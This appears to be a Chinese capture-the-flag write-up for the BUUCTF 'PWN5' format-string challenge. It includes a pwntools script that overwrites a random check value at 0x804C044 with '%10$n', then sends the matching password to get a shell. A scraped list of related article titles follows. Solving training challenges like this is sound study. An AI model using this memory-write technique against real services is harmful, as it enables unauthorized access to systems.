这题是个基本格式化字符串漏洞利用;

满足if条件即可得到答案;

使 nptr 与 dword_804C044 相等即可;

可以使我们利用的是 第一次的输入输出;

addr=0x804C044
payload=p32(addr)+'%10$n'

先得出偏移量:

from pwn import *
p=remote('node3.buuoj.cn',26937)
addr=0x804C044
payload=p32(addr)+'%10$n'
p.sendline(payload)
p.sendline('4')
p.interactive()

有问题欢迎留言 ❄

(Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用相关推荐

  1. buuctf——[第五空间2019 决赛]PWN5 1

    查看文件权限 设置了canary,无法栈溢出. F5查看源程序 源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限. 解题思路 看到了pr ...

  2. [BUUCTF-pwn]——[第五空间2019 决赛]PWN5

    [BUUCTF-pwn]--[第五空间2019 决赛]PWN5 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 题目: 这是一道格式化字符串的 ...

  3. [第五空间2019 决赛]PWN5

    [第五空间2019 决赛]PWN5 格式化字符串漏洞 设置了canary,无法栈溢出 main函数 主要是输入name和passwd,passwd是一个随机数的覆盖值(unk_804C044) 看到了 ...

  4. 格式化字符串漏洞利用时计算的偏移到底是什么?

    格式化字符串漏洞利用时计算的偏移到底是什么? 我们平时在自己做题或者是看大佬们的wp时都会看见这种说法 说法一: 说法二: 相信有不少半路出家的小白都和我一样都只是知其然不知其所以然,那这里所说的&q ...

  5. 格式化字符串漏洞利用 五、爆破

    五.爆破 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 当利用 ...

  6. 格式化字符串漏洞利用 七、工具

    七.工具 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 一旦利 ...

  7. 格式化字符串漏洞利用 六、特殊案例

    六.特殊案例 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 有 ...

  8. 格式化字符串漏洞利用 二、格式化函数

    二.格式化函数 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 ...

  9. 64位格式化字符串漏洞利用——axb_2019_fmt64

    题目可在buuoj上找到,不知道为啥现在github怎么也上不去了,传不了题目 学了好多遍fmtstr了,感觉ctf这种学习就是...不学就会忘,不能停止做题目... 64位fmtstr和32位不同之 ...

最新文章

  1. OSChina 周六乱弹 —— 去做点疯狂的事情
  2. java socket 重连复用,20190818 On Java8 第八章 复用
  3. NSDictionary - 字典
  4. python批量打印机excel,python自动化办公系列03_单个以及批量处理excel文件
  5. java 集成 kafka 0.8.2.1 适配jdk1.6
  6. answer的汉语_大概是几乎能满足你们所有要求的两所学校(汉语言文字学、语言学及应用语言学择校攻略)...
  7. Vue的router导航重复-报错:Uncaught (in promise) NavigationDuplicated: Avoided redundant navigation to curren
  8. php larve,封装composer包,实现thinkphp、larverl、yii框架中使用(使用框架实现回调方法)...
  9. 标定工具:---improvedOcamCalib的使用及标定结果
  10. 回忆我的网络生活(一)
  11. 老男孩Linux67期第一课
  12. 这70道Java微服务面试题,你能对几道?
  13. 利用Matplotlib绘制各类图表
  14. 前端小白写了个网页版五子棋游戏,使用原生 JS + Canvas 实现绘制棋子、棋盘
  15. 微信小程序之个人界面编写(2023.5.9版)
  16. I am fooled
  17. ClickOnce踩坑记录
  18. 【CTDB】什么是CTDB(Cluster Trivial Database)
  19. Python求多元函数的极小值
  20. 英文学习20180327

热门文章

  1. vue - .babelrc
  2. Tomcat虚拟主机配置
  3. 导出Excle java
  4. CABasicAnimation使用总结
  5. yum与rpm的使用
  6. linux之循环执行任务
  7. 使用Git工具下载android源码---带步骤
  8. 关于textArea的一些琐事
  9. 【整理】如何翻译SAP事务代码描述
  10. 使用事务码DBCO实现SAP链接外部数据库以及读取例程